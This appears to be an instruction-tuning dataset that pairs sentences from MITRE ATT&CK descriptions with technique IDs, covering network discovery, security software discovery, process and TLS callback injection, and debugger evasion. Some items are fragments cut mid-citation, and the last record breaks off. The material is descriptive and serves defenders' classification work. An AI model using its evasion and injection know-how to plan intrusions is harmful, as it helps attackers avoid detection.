"Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. ### Response: T1018."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).", "output": "T1018", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039). ### Response: T1018."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.", "output": "T1018", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment. ### Response: T1018."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)", "output": "T1018", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) ### Response: T1018."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation.", "output": "T1046", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. ### Response: T1046."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts.", "output": "T1046", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. ### Response: T1046."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.", "output": "T1046", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well. ### Response: T1046."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network.", "output": "T1046", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. ### Response: T1046."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network.", "output": "T1046", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. ### Response: T1046."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)", "output": "T1046", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley) ### Response: T1046."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's networks that can be used during targeting.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's networks that can be used during targeting. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting.", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation:", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability)", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include things such as firewall rules and anti-virus.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include things such as firewall rules and anti-virus. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the <code>DescribeSecurityGroups</code> action with various request parameters.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the <code>DescribeSecurityGroups</code> action with various request parameters. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud) ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.", "output": "T1518", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. ### Response: T1518."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1518", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1518."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "output": "T1518", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). ### Response: T1518."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features.", "output": "T1538", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. ### Response: T1538."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)", "output": "T1538", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard) ### Response: T1538."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API.", "output": "T1538", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. ### Response: T1538."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows the adversary to gain information without making any API requests.", "output": "T1538", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows the adversary to gain information without making any API requests. ### Response: T1538."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017) ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various means to detect and avoid debuggers.", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various means to detect and avoid debuggers. ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github) ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment.", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for debugger artifacts before dropping secondary or additional payloads.", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for debugger artifacts before dropping secondary or additional payloads. ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB).", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation:", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AlKhaser Debug)(Citation: vxunderground debug)", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AlKhaser Debug)(Citation: vxunderground debug) ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": 